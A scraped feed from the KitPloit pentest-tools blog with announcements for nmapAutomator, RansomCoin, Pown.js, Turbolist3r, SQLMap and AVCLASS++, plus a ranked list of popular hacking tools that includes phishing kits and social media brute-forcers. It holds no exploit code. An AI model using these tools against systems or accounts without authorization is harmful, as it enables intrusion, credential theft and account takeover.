Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

nmapAutomator - Tool To Automate All Of The Process Of Recon/Enumeration

$
0
0

nmapAutomator
A script that you can run in the background!

Summary
The main goal for this script is to automate all of the process of recon/enumeration that is run every time, and instead focus our attention on real pen testing.
This will ensure two things:
1) Automate nmap scans. 2) Always have some recon running in the background.
Once you find the inital ports in around 10 seconds, you then can start manually looking into those ports, and let the rest run in the background with no interaction from your side whatsoever.

Features:
  1. Quick: Shows all open ports quickly (~15 seconds)
  2. Basic: Runs Quick Scan, then a runs more thorough scan on found ports (~5 minutes)
  3. UDP: Runs "Basic" on UDP ports (~5 minutes)
  4. Full: Runs a full range port scan, then runs a thorough scan on new ports (~5-10 minutes)
  5. Vulns: Runs CVE scan and nmap Vulns scan on all found ports (~5-15 minutes)
  6. Recon: Runs "Basic" scan "if not yet run", then suggests recon commands "i.e. gobuster, nikto, smbmap" based on the found ports, then prompts to automatically run them
  7. All: Runs all the scans consecutively (~20-30 minutes)
I tried to make the script as efficient as possible, so that you would get the results as fast as possible, without duplicating any work.

Requirements:
Required:Gobuster v3.0 or higher, as it is not backward compatible.
You can update gobuster on kali using:
apt-get update
apt-get install gobuster --only-upgrade
Recommended: nmap vulners scrip "for CVE scan"
https://github.com/vulnersCom/nmap-vulners

Examples of use:
./nmapAutomator.sh
./nmapAutomator.sh 10.1.1.1 All
./nmapAutomator.sh 10.1.1.1 Basic
./nmapAutomator.sh 10.1.1.1 Recon
If you want to use it anywhere on the system, create a shortcut using:
ln -s /PATH-TO-FOLDER/nmapAutomator.sh /usr/local/bin/



RansomCoin - A DFIR Tool To Extract Cryptocoin Addresses And Other Indicators Of Compromise From Binaries

$
0
0

Extracting metadata and hardcoded Indicators of Compromise from ransomware, in a scalable, efficient, way with cuckoo integrations. Ideally, is it run during cuckoo dynamic analysis, but can also be used for static analysis on large collections of ransomware. Designed to be fast, with low false positive for cryptocurrency addresses. Limited false positives for emails, urls, onions, and domains (which is pretty hard to make perfect).
In short, this is fast and easy initial triage if you only want monetisation vectors.

Installation instructions
Please ensure you have Python3 installed.

In a Linux Virtual Machine
It is advisable to download and install a virtualizer such as VirtualBox. Install your desired Linux virtual machine (i.e. Lubuntu, Kali Linux, etc) then follow the instructions below.
From the tools folder:
sudo apt-get install build-essential libpoppler-cpp-dev pkg-config python-dev python3-tlsh
python3 -m pip install -r requirements.txt
Note: If you get an error saying No module named pip, try running
sudo apt-get install python3-pip

Usage instructions
A tutorial video is available: https://youtu.be/3pUDh5HvqVI
The following commands can be run from the "Tools" folder to analyse malware samples located in this directory. This will run the code across all files in the directoy and provide feedback on the estimated time to completion via TQDM. You will need write access for a file called Ransomware.csv in the directory you are working in (which contains the results). It should be possible to run the code across read only malware files though, so only Ransomware.csv need write access.

Coinlector.py
After running coinlector.py the results are output to a file in the same directory called Ransomware.csv
python3 coinlector.py
View the results by running
less Ransomware.csv


Currently we are testing for:
  • Bitcoin Addresses (BTC)
  • Bitcoin Cash Addresses (BCH)
  • Monero Addresses (XMR)
  • Bitcoin Private Keys
  • Ethereum addresses (ETH)
  • Ripple addresses (XRP)
  • LTC addresses (LTC)
  • DOGECOIN addresses (DOGE)
  • NEO addresses (NEO)
  • DASH addresses (DASH)
  • Domains (Address)
  • Email Addresses (Email)
  • Onion Addresses (Address)
View URLs, email addresses, and cryptocurrency addresses by running the following grep commands.
less Ransomware.csv | grep URL
less Ransomware.csv | grep Email
less Ransomware.csv | grep Address
Grep for Monero addresses by running
less Ransomware.csv | grep XMR
The same command can be used to search for other cryptocurrencies using the abbreviations in the list above.

Tempuscoin.py
tempuscoin.py outputs a list of timestamped ransom transactions. The file TemporalRansoms.csv is created showing the sending and receiving Bitcoin addresses, the amount in BTC and its equivalent value in EUR, USD at the time of the transaction.
python3 tempuscoin.py
View the results by running.
less TemporalRansoms.csv


Eventcoin.py
This code will probably need to be altered to be made usable with your own MISP instance. It uses PyMISP to create events from the Ransomware.csv file, and groups of events share the same name. The default is to create events that are not published, and then to add details by hand before publishing. YMMV.


Pown.js - A Security Testing An Exploitation Toolkit Built On Top Of Node.js And NPM

$
0
0

Pown.js is a security testing and exploitation toolkit built on top of Node.js and NPM. Unlike traditional security tools like Metasploits, Pown.js considers frameworks to be an anti-pattern. Therefore, each module in Pown is in fact a standalone NPM module allowing greater degree of reuse and flexibility. Creating new modules is a matter of publishing to NPM and tagging it with the correct tags. The rest is handled automatically.

Quickstart
Install Pown.js globally with npm or yarn.
$ npm install -g pown@latest

Usage
pown [options] <command> [command options]

Commands:
pown modules <command> Module manager [aliases: module, m]
pown update [options] Update global installation of pown [aliases: upgrade, up]
pown buster <command> Multi-service bruteforce discovery tool [aliases: bust]
pown credits [options] list contributors and credits
pown dicts [options] <search> Assorted Dictionaries
pown duct <command> Side-channel attack enabler [aliases: ducting, d]
pown figlet <text> Generate figlet
pown preferences <command> Preferences [aliases: prefs]
pown proxy [options] [command] HTTP proxy
pown recon <command> Target recon
pown script [file |script] [args...] Simple scripting engine for automating pown commands.
pown shell [options] Simple shell
pown whoarethey <accounts...> find social networking accounts and more

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown modules
pown modules <command>

Module manager

Commands:
pown modules install <modules...> Install modules
pown modules uninstall <modules...> Uninstall modules
pown modules update [modules...] Update modules
pown modules list List install modules
pown modules search <terms...> Search modules

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown update
pown update [options]

Update global installation of pown

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown buster
pown buster <command>

Multi-service bruteforce discovery tool

Commands:
pown buster web [options] <url> Web file and directory bruteforcer (a.k.a dirbuster)
pown buster email [options] <domain> Email bruteforce discovery tool (via smtp) [aliases: emails]

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown credits
pown credits [options]

list contributors and credits

Options:
--version Show version number [boolean]
--help Show help [boolean]
--only, -o Only Pown.js contributors [boolean]

pown dicts
pown dicts [options] <search>

Assorted Dictionaries

Options:
--version Show version number [boolean]
--help Show help [boolean]
--download, -d Download found dictionaries [boolean] [default: false]
--regex, -r Search with regex [boolean] [default: false]

pown duct
pown duct <command>

Side-channel attack enabler

Commands:
pown duct dns DNS ducting

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown figlet
pown figlet <text>

Generate figlet

Options:
--version Show version number [boolean]
--help Show help [boolean]
--font, -f FIGlet font to use [string] [default: "Standard"]
--fg Foreground color [choices: "default", "black", "red", "green", "yellow", "blue", "magenta", "cyan", "white", "gray", "grey"] [default: "default"]
--bg Background color [choices: "default", "black", "red", "green", "yellow", "blue", "magenta", "cyan", "white"] [default: "default"]
--bold Make it bold [boolean] [default: false]

pown preferences
pown preferences <command>

Preferences

Commands:
pown preferences get <tool> [name] get preferences
pown preferences set <tool> <name> <value> set preferences

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown proxy
pown proxy [options] [command]

HTTP proxy

Options:
--version Show version number [boolean]
--help Show help [boolean]
--log, -l Log requests and responses [boolean] [default: false]
--host, -h Host to listen to [string] [default: "0.0.0.0"]
--port, -p Port to listen to [number] [default: 8080]
--text, -t Start with text ui [boolean] [default: false]
--ws-client, -c Connect to web socket [string] [default: ""]
--ws-server, -s Forward on web socket [boolean] [default: false]
--ws-host Web socket server host [string] [default: "0.0.0.0"]
--ws-port Web socket server port [number] [default: 9090]
--ws-app Open app [string] [choices: "", "httpview"] [default: ""]
--certs-dir Directory for the certificates [string] [default: "/home/ec2-user/.pown/proxy/certs"]
--server-key-length Default key length for certificates [number] [default: 1024]
--default-ca-common-name The CA common name [string] [default: "Pown.js Proxy"]

pown recon
pown recon <command>

Target recon

Commands:
pown recon transform <transform> Perform inline transformation [aliases: t]
pown recon select <selectors...> Select nodes [aliases: s]
pown recon add <nodes...> Add nodes [aliases: a]
pown recon remove <selectors...> Remove nodes [aliases: r]
pown recon merge <files...> Perform a merge between at least two recon files [aliases: m]
pown recon diff <fileA> <fileB> Perform a diff between two recon files [aliases: d]
pown recon group <name> <selectors...> Group nodes [aliases: g]
pown recon ungroup <selectors...> Ungroup nodes [aliases: u]
pown recon import <file> Import file [aliases: i]
pown recon export <file> Export to file [aliases: e]

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown script
pown script [file|script] [args...]

Simple scripting engine for automating pown commands.

Options:
--version Show version number [boolean]
--help Show help [boolean]
--command, -c Evaluate inline commands [boolean] [default: false]
--exit, -e Exit immediately [boolean] [default: false]
--expand, -x Expand command [boolean] [default: false]
--skip, -s Skip number of lines [number] [default: 0]

pown shell
pown shell [options]

Simple shell

Options:
--version Show version number [boolean]
--help Show help [boolean]

pown whoarethey
pown whoarethey <accounts...>

find social networking accounts and more

Options:
--version Show version number [boolean]
--help Show help [boolean]

Modules
Pown.js comes with several builtin modules for convenience. However, additional modules can be installed directly from the NPM registry using pown modules command. Optional modules are installed in the current users's home folder under .pown/modules.


Top 20 Most Popular Hacking Tools in 2019

$
0
0

As last year, this year we made a ranking with the most popular tools between January and December 2019.

Topics of the tools focus on OSINT, Information Gathering, Android Hacking Tools, Automation Tools, Phishing, among others.

Without going into further details, we have prepared a useful list of the most popular tools in Kitploit 2019:

  1. Hijacker - All-in-One Wi-Fi Cracking Tools for Android

  2. Findomain - The Fastest And Cross-Platform Subdomain Enumerator

  3. EagleEye - Stalk Your Friends. Find Their Instagram, FB And Twitter Profiles Using Image Recognition And Reverse Image Search

  4. ANDRAX - Penetration Testing on Android

  5. CQTools - The New Ultimate Windows Hacking Toolkit

  6. Sampler - A Tool For Shell Commands Execution, Visualization And Alerting (Configured With A Simple YAML File)

  7. LOIC (Low Orbit Ion Cannon) - A network stress testing application

  8. EasySploit - Metasploit Automation (EASIER And FASTER Than EVER)

  9. ScanQLi - Scanner To Detect SQL Injection Vulnerabilities

  10. SQLMap - Automatic SQL Injection And Database Takeover Tool

  11. OKadminFinder - Admin Panel Finder / Admin Login Page Finder

  12. Shellphish - Phishing Tool For 18 Social Media (Instagram, Facebook, Snapchat, Github, Twitter...)

  13. DNS-Shell - An Interactive Shell Over DNS Channel

  14. QRLJacker - QRLJacking Exploitation Framework

  15. PhoneSploit - Using Open Adb Ports We Can Exploit A Devive

  16. SocialBox - A Bruteforce Attack Framework (Facebook, Gmail, Instagram, Twitter)

  17. Instainsane - Multi-threaded Instagram Brute Forcer

  18. Tool-X - A Kali Linux Hacking Tool Installer

  19. Hacktronian - All In One Hacking Tool For Linux & Android

  20. Ultimate Facebook Scraper - A Bot Which Scrapes Almost Everything About A Facebook User'S Profile Including All Public Posts/Statuses Available On The User'S Timeline, Uploaded Photos, Tagged Photos, Videos, Friends List And Their Profile Photos


Happy New Year wishes the KitPloit team!


Turbolist3r - Subdomain Enumeration Tool With Analysis Features For Discovered Domains

$
0
0

Turbolist3r is a fork of the sublist3r subdomain discovery tool. In addition to the original OSINT capabilties of sublist3r, turbolist3r automates some analysis of the results, with a focus on subdomain takeover.
Turbolist3r queries public DNS servers for each discovered subdomain. If the subdomain exists (i.e. the resolver replied with an address), the answer is categorized as CNAME or A record. By examining A records, it is possible to discover potential penetration testing targets for a given domain. Likewise, the process of looking for subdomain takeovers is simple; view the discovered CNAME records and investigate any that point to applicable cloud services.
Please do not use for illegal purposes.

Screenshots



Usage
Short FormLong FormDescription
-d--domainDomain name to enumerate subdomains of
-b--bruteforceEnable the subbrute bruteforce module
-p--portsScan the found subdomains against specific tcp ports
-v--verboseEnable the verbose mode and display results in realtime
-t--threadsNumber of threads to use for subbrute bruteforce
-e--enginesSpecify a comma-separated list of search engines
-o--outputSave discovered domain names to specified text file
-h--helpshow the help message and exit
-a--analyzeDo reverse DNS analysis and output results
(none)--saverdnsSave reverse DNS analysis to specified file
(none)--inputfileRead domains from specified file, and use them for analysis
(none)--debugPrint debug information during the analysis module (-a). Prints mostly raw DNS data, familarity with the DIG Linux DNS utility and it's output is helpful to interpret the debug output
-r--resolversFile with DNS servers to populate as resolvers. File must have only one server IP address per line and only IP addresses are accepted

Examples
  • To list all the basic options and switches use -h switch:
python turbolist3r.py -h
  • To enumerate subdomains of a specific domain, perform advanced analysis, and save the analysis to a file:
python turbolist3r.py -d example.com -a --saverdns analysis_file.txt
  • Read subdomains from a file and perform advanced analysis on them:
python turbolist3r.py -d example.com -a --inputfile subdomains.txt
  • Using -r to populate DNS resolvers from a file (resolvers used with -a analysis module):
python turbolist3r.py -d example.com -a --inputfile subdomains.txt -r dns_servers.txt
  • To enumerate subdomains of specific domain:
python turbolist3r.py -d example.com
  • To enumerate subdomains of specific domain and save discovered subdomains to a file:
python turbolist3r.py -d example.com -o example_hosts.txt
  • To enumerate subdomains of specific domain and show the results in realtime:
python turbolist3r.py -v -d example.com
  • To enumerate subdomains and enable the bruteforce module:
python turbolist3r.py -b -d example.com
  • To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal engines
python turbolist3r.py -e google,yahoo,virustotal -d example.com

Dependencies:
Turbolist3r depends on the dnslib, requests, and argparse python modules. The subbrute module is required for bruteforce capability, but Turbolist3r should run without it as long as you don't invoke bruteforce. Submit a PR or contact me if you have issues.

dnslib Module
The dnslib module can be downloaded from https://bitbucket.org/paulc/dnslib/ or installed on many systems using:
pip install dnslib

requests Module
  • Install for Ubuntu/Debian:
sudo apt-get install python-requests
  • Install for Centos/Redhat:
sudo yum install python-requests
  • Install using pip on Linux:
sudo pip install requests

argparse Module
  • Install for Ubuntu/Debian:
sudo apt-get install python-argparse
  • Install for Centos/Redhat:
sudo yum install python-argparse
  • Install using pip:
sudo pip install argparse

Credits
  • aboul3la - The creator of Sublist3r; turbolist3r adds some features but is otherwise a near clone of sublist3r.
  • TheRook - The bruteforce module was based on his script subbrute.
  • bitquark - The Subbrute's wordlist was based on his research dnspop.

Thanks
  • Thank you to aboul3la for releasing sublist3r, an incredible subdomain discovery tool!


SQLMap v1.4 - Automatic SQL Injection And Database Takeover Tool

$
0
0

SQLMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features
  • Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.
  • Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
  • Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
  • Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
  • Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  • Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
  • Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
  • Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
  • Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

Installation
You can download the latest tarball by clicking here or latest zipball by clicking here.
Preferably, you can download sqlmap by cloning the Git repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with Python version 2.6.x and 2.7.x on any platform.

Usage
To get a list of basic options and switches use:
python sqlmap.py -h
To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run here. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the user's manual.

Links


AVCLASS++ - Yet Another Massive Malware Labeling Tool

$
0
0

AVCLASS++ is an appealing complement to AVCLASS [1], a state-of-the-art malware labeling tool.

Overview
AVCLASS++ is a labeling tool for creating a malware dataset. Addressing malware threats requires constant efforts to create and maintain a dataset. Especially, labeling malware samples is a vital part of shepherding a dataset. AVCLASS, a tool developed for this purpose, takes as input VirusTotal reports and returns labels that aggregates scan results of multiple anti-viruses. And now, AVCLASS++ is shipped with the brand-new capacities!
In a nutshell, AVCLASS++ enables the following operation:
  • Input:
    • VirusTotal report(s)
    • Malware binar(y|ies) (optional)
  • Output:
    • Malware label(s) (family name)

Features
AVCLASS++ is developed for freeing you from the task of worrying about what families malware samples are. The salient features of AVCLASS++ are as follows:
  • Automatic. AVCLASS++ removes manual analysis limitations on the size of the input dataset.
  • Vendor-agnostic. AVCLASS++ operates on the labels of any available set of AV engines, which can vary from sample to sample.
  • Cross-platform. AVCLASS++ can be used for any platforms supported by AV engines, e.g., Windows or Android malware.
  • Does not require executables. AV labels can be obtained from online services like VirusTotal using a sample's hash, even when the executable is not available. Yet, AVCLASS++ has also a potential that can improve label accuracy if there is an executable.
  • Quantified accuracy. The original AVCLASS had evaluated [1] on five publicly available malware datasets with ground truth. AVCLASS++ is further tuned to perform under adverse conditions.
  • Open source. We are happy to release AVCLASS++ to the community. Prithee, use it for the further development of prompt security operation and reproducible security research!

Step Forward
The following limitation was pointed out in the original AVCLASS paper:
The main limitation of AVClass is that its output depends on the input AV labels. It tries to compensate for the noise on those labels, but cannot identify the family of a sample if AV engines do not provide non-generic family names to that sample. In particular, it cannot label samples if at least 2 AV engines do not agree on a non-generic family name. Results on 8 million samples showed that AVClass could label 81% of the samples. In other words, it could not label 19% of the samples because their labels contained only generic tokens.
We have organized such pitfalls into two factors.
  • First, AVCLASS is prone to fail labeling samples that have just been posted to VirusTotal because only a few anti-viruses give labels to such samples. Such a sample will be labeled SINGLETON. An inconvenient truth: when we provided AVCLASS with 20,000 VirusTotal reports, half of them were labeled SINGLETON.
  • Second, AVCLASS cannot determine if the label is randomly generated (as with domain generation algorithms of malware) or not. Some anti-viruses that VirusTotal has worked with after AVCLASS released were labeled with the DGA, resulting in a biased label.
Because of them, we are forced to make a lot of manual, tedious intervention in malware labeling; otherwise, we need to drop samples with inconsistent labels from the dataset; since there was no alternative.
For the reason, AVCLASS++ is designed to address these drawbacks by arming with the following:
  • Label propagation. AVCLASS++ accepts not only VirusTotal reports but also binary executable files of samples as input, and measures the similarity between them, thereby propagating [3] a malware label to the one labeled SINGLETON. Here, AVCLASS++ exploits hashed features based on various perspective [4] e.g, byte histogram, printable strings, file size, PE headers, sections, imports, exports, and more! Then it calculates the similarity of the samples through deriving an affinity matrix and re-labels SINGLETONs as a result of the propagation from a similar sample. This enables us to reduce SINGLETONs.
  • DGA detection. AVCLASS++ determines if labels were generated by DGA and removes such ones from the candidates. This technique is based on the meaningful characters ratio and $N$-gram normality score [5]. In other words, AVCLASS + + verifies that the label presented by AV is meaningful and easy to pronounce, and then determines if the label is generated by DGA. This enables us to unbiased labeling.
Besides, unlike AVCLASS, AVCLASS++ is Python 3 compatible!

How To Use

Installation
git clone git@github.com:malrev/avclassplusplus.git
./setup.sh

Labeling
The labeler takes as input a JSON file with the AV labels of malware samples (-vt or -lb switches), a file with generic tokens (-gen switch), and a file with aliases (-alias switch). It outputs the most likely family name for each sample. If you do not provide alias or generic tokens files, the default ones in the data folder are used.
python avclass_labeler.py -lb data/malheurReference_lb.json -v > malheurReference.labels
The above command labels the samples whose AV labels are in the data/malheurReference_lb.json file. It prints the results to stdout, which we redirect to the malheurReference.labels file. The output looks like this:
aca2d12934935b070df8f50e06a20539 adrotator
67d15459e1f85898851148511c86d88d adultbrowser
which means sample aca2d12934935b070df8f50e06a20539 is most likely from the adrotator family and 67d15459e1f85898851148511c86d88d from the adultbrowser family.
The verbose (-v) switch makes it output an extra malheurReference_lb.verbose file with all families extracted for each sample ranked by the number of AV engines that use that family. The file looks like this:
aca2d12934935b070df8f50e06a20539  [('adrotator', 8), ('zlob', 2)]
ee90a64fcfaa54a314a7b5bfe9b57357 [('swizzor', 19)]
f465a2c1b852373c72a1ccd161fbe94c SINGLETON:f465a2c1b852373c72a1ccd161fbe94c
which means that for sample aca2d12934935b070df8f50e06a20539 there are 8 AV engines assigning adrotator as the family and another 2 assigning zlob. Thus, adrotator is the most likely family. On the other hand, for ee90a64fcfaa54a314a7b5bfe9b57357 there are 19 AV engines assigning swizzor as family, and no other family was found. The last line means that for sample f465a2c1b852373c72a1ccd161fbe94c no family name was found in the AV labels. Thus, the sample is placed by himself in a singleton cluster with the name of the cluster being the sample's hash.
Note that the sum of the number of AV engines may not equal the number of AV engines with a label for that sample in the input file because the labels of some AV engines may only include generic tokens that are removed by AVCLASS++. In such a case, the propagater described later comes to rescue.

Input JSON Format
AVCLASS++ supports two input JSON formats:
  1. VirusTotal JSON reports (-vt file), where each line in file should be the full JSON of a VirusTotal report as fetched through the VirusTotal API.
  2. Simplified JSON (-lb file), where each line in file should be a JSON with (at least) these fields: {md5, sha1, sha256, scan_date, av_labels}. There is an example of such input file in data/malheurReference_lb.json This option works well if you want to use label candidates from a source other than VirusTotal or from a self-made engine.
AVCLASS++ can handle multiple input files putting the results in the same output files (if you want results in separate files, process each input file separately).
You can provide the -vt and -lb input options multiple times.
python avclass_labeler.py -vt <file1> -vt <file2> > all.labels
python avclass_labeler.py -lb <file1> -lb <file2> > all.labels
There are also -vtdir and -lbdir options that can be used to provide an input directory where all files are VT (-vtdir) or simplified (-lbdir) JSON reports.
python avclass_labeler.py -vtdir <directory> > all.labels
You can also combine -vt with -vtdir and -lb with -lbdir, but you cannot combine input files of different format. Thus, this command works:
python avclass_labeler.py -vt <file> -vtdir <directory> > all.labels
But, this one throws an error:
python avclass_labeler.py -vt <file1> -lb <file2> > all.labels
At this point you have read the most important information on how to use AVCLASS++. The following sections describe optional steps.

Label Propagation
When a sample has just been uploaded to VirusTotal, the original AVCLASS often gives you a SINGLETON label because of the lack of AVs signatures. In such a case, we usually try to disassemble and execute the sample, compare the results to past ones, and then give it the appropriate label.
Therefore, We introduce a function that automates this task. AVCLASS++ retrieves and compares byte histogram, printable strings, file size, PE headers, sections, imports, exports, and so on from the given executable files. Then, it gives the label to SINGLETONs from similar samples. An affinity matrix is derived to compute the similarities here. For label propagation, literally the label propagation algorithm [3] is used.
To use this function, run the following command:
python avclass_propagator.py -labels <file1> -sampledir <directory> -results <file2>
The input file passed with -labels must be created in advance by avclass_labeler.py in advance. The directory passed with -sampledir must contain samples with the hash values contained in the labels file. The option -results is optional. By default, the propagator creates _pr.labels file based on a .labels file passed as an argument. AVCLASS++ overwrites only SINGLETON labels with predicted labels by default. You can overwrite all original labels with predicted labels by enabling the -force option. In addition, you can automatically optimize hyperparameter values by enabling -opt.
python avclass_propagator.py -labels input.labels -sampledir samples -results output.labels -opt
This feature is contrary to the original AVCLASS manner of "does not require executables", but it is really helpful in practice.

DGA Detection
AVs such as BitDefender, AegisLab, Emsisoft, eScan, GData, Ad-Aware, MAX, K7Antivirus, K7GW, Cybereason, and Cyren will output pseudo-randomly generated labels in a similar vein as DGA of malware. You can see an example at VirusTotal: f315be41d9765d69ad60f0b4d29e4300. This leads the original AVCLASS would be confused.
Therefore, we present a function that removes the label that seems to be generated by DGA. To this end, we employ the following heuristics [5]:
  • Meaningful characters ratio. This score indicates how many meaningful words within a label (the higher the better). Specifically, we split the label string $p$ into $k$ subwords $|w_i| ≥ 3$, then compute $R(p) = max(\frac{(\sum_{i=1 \in k}) |w_{i}|)}{|p|}$.
  • $N$-gram normality score. This score indicates how many words which are easy to pronounce within a label (the higher the better). Specifically, we compute $N$-gram $t$ of the label string $p$, count the occurrence $count(t)$ in the dictionary, and calculate the average of them. That is, $S_n(p) = \frac{\sum_{n-gram;t \in p} count(t)}{|p|-n+1}$ where $N$ is given. From our experience, we highly recommend setting $N > 3$.
The key insight of these scores is that the appropriate label contains a string that is meaningful and easy to pronounce. AVCLASS++ calculates a harmonic mean of these scores and determine if the label is generated by DGA based on a threshold. This function is enabled by default now, but you can configure it with:
python avclass_labeler.py -vtdir <directory> -dgadetect <dictionary> <n> <threshold> > all.labels
An example is below:
python avclass_labeler.py -vtdir <directory> -dgadetect data/top10000en.txt 4 2 > all.labels

Family Ranking
AVCLASS++ has a -fam switch to output a file with a ranking of the families assigned to the input samples.
python avclass_labeler.py -lb data/malheurReference_lb.json -v -fam > malheurReference.labels
This will produce a file called malheurReference_lb.families with two columns:
virut 441
allaple 301
podnuha 300
The file indicates that 441 samples were classified in the virut family, 301 as allaple, and 300 as podnuha.
This switch is very similar to using the following shell command:
cut -f 2 malheurReference.labels | sort | uniq -c | sort -nr
The main difference is that using the -fam switch all SINGLETON samples, i.e., those for which no label was found, are grouped into a fake SINGLETONS family, while the shell command would leave each singleton as a separate family.

PUP Classification
AVCLASS++ also has a -pup switch to classify a sample as Potentially Unwanted Program (PUP) or malware. This classification looks for PUP-related keywords (e.g., pup, pua, unwanted, adware) in the AV labels.
python avclass_labeler.py -lb data/malheurReference_lb.json -v -pup > malheurReference.labels
With the -pup switch the output of the malheurReference.labels file looks like this:
aca2d12934935b070df8f50e06a20539 adrotator 1
67d15459e1f85898851148511c86d88d adultbrowser 0
The digit at the end is a Boolean flag that indicates sample aca2d12934935b070df8f50e06a20539 is (likely) PUP, but sample 67d15459e1f85898851148511c86d88d is (likely) not. This enables us to focus on PUP research [2] or non-PUP research!
The PUP classification tends to be conservative, i.e., if it says the sample is PUP, it most likely is. But, if it says that it is not PUP, it could still be PUP if the AV labels do not contain PUP-related keywords. Note that it is possible that some samples from a family get the PUP flag while other samples from the same family do not because the PUP-related keywords may not appear in the labels of all samples from the same family. To address this issue, you can combine the -pup switch with the -fam switch. This combination will add into the families file the classification of the family as malware or PUP, based on a majority vote among the samples in a family.
python avclass_labeler.py -lb data/malheurReference_lb.json -v -pup -fam > malheurReference.labels
This will produce a file called malheurReference_lb.families with five columns:
# Family  Total Malware PUP FamType
virut 441 441 0 malware
magiccasino 173 0 173 pup
ejik 168 124 44 malware
For virut, the numbers indicate all the 441 virut samples are classified as malware, and thus the last column states that virut is a malware family. For magiccasino, all 173 samples are labeled as PUP, thus the family is PUP. For ejik, out of the 168 samples, 124 are labeled as malware and 44 as PUP, so the family is classified as malware.

Ground Truth Evaluation
If you have ground truth for some malware samples, i.e., you know the true family for those samples, you can evaluate the accuracy of the labeling output by AVCLASS++ on those samples with respect to that ground truth. The evaluation metrics used are precision, recall, and F1 measure.
python avclass_labeler.py -lb data/malheurReference_lb.json -v -gt data/malheurReference_gt.tsv -eval > data/malheurReference.labels
The output includes these lines:
Calculating precision and recall
3131 out of 3131
Precision: 90.81 Recall: 93.95 F1-Measure: 92.35
The last line corresponds to the accuracy metrics obtained by comparing AVClass results with the provided ground truth.
Each line in the data/malheurReference_gt.tsv file has two tab-separated columns:
0058780b175c3ce5e244f595951f611b8a24bee2 CASINO
This sample 0058780b175c3ce5e244f595951f611b8a24bee2 is known to be of the CASINO family. Each sample in the input file should also appear in the ground truth file. Note that the particular label assigned to each family does not matter. What matters is that all samples in the same family are assigned the same family name (i.e., the same string in the second column)
The ground truth can be obtained from publicly available malware datasets. The one in data/malheurReference_gt.tsv comes from the Malheur dataset. There are other public datasets with ground truth such as Drebin and Malicia.

Preparation

Generic Token Detection
The labeling takes as input a file with generic tokens that should be ignored in the AV labels, e.g., trojan, virus, generic, linux. By default, the labeling uses the data/default.generics generic tokens file. You can edit that file to add additional generic tokens you feel we are missing.
In the original AVCLASS paper [1] presents an automatic approach to identify generic tokens, which requires ground truth, i.e., it requires knowing the true family for each input sample. Not only that, but the ground truth should be large, i.e., contain at least one hundred thousand samples. In the evaluation, AVCLASS identified generic tokens using as ground truth the concatenation of all datasets for which we had ground truth. This requirement of a large ground truth dataset is why we expect most users will skip this step and simply use our provided default file.
If you want to test generic token detection you can do:
python avclass_generic_detect.py -lb data/malheurReference_lb.json -gt data/malheurReference_gt.tsv -tgen 10 > malheurReference.gen 
Each line in the data/malheurReference_gt.tsv file has two tab-separated columns:
0058780b175c3ce5e244f595951f611b8a24bee2 CASINO
which indicates that sample 0058780b175c3ce5e244f595951f611b8a24bee2 is known to be of the CASINO family.
The -tgen 10 switch is a threshold for the minimum number of families where a token has to be observed to be considered generic. If the switch is ommitted, the default threshold of 8 is used.
The above command outputs two files: malheurReference.gen and malheurReference_lb.gen. Each of them has 2 columns: token and number of families where the token was observed. File malheurReference.gen is the final output with the detected generic tokens for which the number of families is above the given threshold. The file malheurReference_lb.gen has this information for all tokens. Thus, malheurReference.gen is a subset of malheurReference_lb.gen.
However, note that in the above command you are trying to identify generic tokens from a small dataset since Drebin only contains 3K labeled samples. Thus, malheurReference.gen only contains 25 identified generic tokens. Using those 25 generic tokens will produce significantly worse results than using the generic tokens in data/default.generics.

Alias Detection
Different vendors may assign different names (i.e., aliases) for the same family. For example, some vendors may use zeus and others zbot as aliases for the same malware family. The labeling takes as input a file with aliases that should be merged. By default, the labeling uses the data/default.aliases aliases file. You can edit that file to add additional aliases you feel we are missing.
In the original AVCLASS paper [1] describes an automatic approach to identify aliases. Note that the alias detection approach requires as input the AV labels for large set of samples, e.g., several million samples. In contrast with the generic token detection, the input samples for alias detection do not need to be labeled, i.e., no need to know their family. In the evaluation, AVCLASS identified aliases using as input the largest of unlabeled datasets, which contained nearly 8M samples. This requirement of a large input dataset is why we expect most users will skip this step and simply use our provided default file.
If you want to test alias detection you can do:
python avclass_alias_detect.py -lb data/malheurReference_lb.json -nalias 100 -talias 0.98 > malheurReference.aliases
The -nalias threshold provides the minimum number of samples two tokens need to be observed in to be considered aliases. If the switch is not provided the default is 20.
The -talias threshold provides the minimum fraction of times that the samples appear together. If the switch is not provided the default is 0.94 (94%).
